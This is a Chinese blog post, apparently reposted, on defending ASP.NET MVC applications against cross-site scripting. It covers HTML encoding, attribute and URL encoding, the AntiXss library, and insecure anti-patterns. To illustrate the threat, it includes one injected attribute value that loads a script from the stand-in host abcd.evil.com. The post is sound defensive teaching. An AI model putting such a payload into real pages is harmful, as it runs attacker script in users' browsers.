zoukankan      html  css  js  c++  java
  • MVC WEB安全——XSS攻击防御

    XSS(跨站脚本攻击)

    描述:

    原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的。

    类别

    1)被动注入(Passive Injection)。用户将恶意代码输入到表单中,保存到数据库,然后再显示在网站上;

    2)主动注入(Active Injection)。用户将恶意代码输入到文本框中并将输入的内容立刻在屏幕上显示出来。

    XSS攻击在Web上排名第一,遗憾的是,导致XSS猖獗的原因是Web开发人员不熟悉这种攻击(好遗憾哦。。。)。

    避免:

    1)对所有内容都进行HTML编码;

          Razor引擎默认对输出内容进行HTML编码。如:@Model.FirstName。

          如果非Razor引擎,则如:

    <% Html.Encode(Model.FirstName) %>

    2)使用Html.AttributeEncode和Url.Encode;

          

    <a href=”<%= Url.Action(“Index”,"home”,new { name = ViewData[“name”]})%>">点击我</a>

           将name改为:

    "></a><script src = “http://abcd.evil.com”></script><a href= "
        则攻击成功。 

          编码1:

    <a href=”<%= Url.Action(“Index”,”home”,new { name = Html.AttributeEncode(ViewData[“name”])})%>”>点击我</a>

          编码2:

    <a href=”<%= Url.Encode(Url.Action(“Index”,”home”,new { name = ViewData[“name”] }))%>”>点击我</a>

    3)对Ajax.JavaScriptStringEncode进行JavaScript编码。

          如

    var searchItem = “@Html.Raw(Ajax. JavaScriptStringEncode(Model))”;

    4)将AntiXss库作为ASP.NET的默认编码器。

    反模式:

    1)使用

    Html.Raw(Model.ReturnUrl)
    绕过编码;

    2)使用

    [AllowHtml]
    对模型的属性禁用请求验证;

    3)使用

    [ValidateInput(false)]
    对Controller或者Action禁用请求验证。
  • 相关阅读:
    React组件二
    React组件一
    React新接触
    清除浮动的方法
    div section article aside的理解
    html引入外部的jswenjian
    绘制扇形,空心文字,实心文字,颜色线性 放射性渐变
    绘制扇形空心 实心文字 ,颜色线性渐变,颜色放射性渐变
    绘制圆弧的几种简单方法
    求两个有序数组的中位数
  • 原文地址:https://www.cnblogs.com/pengzhen/p/3801140.html
Copyright © 2011-2022 走看看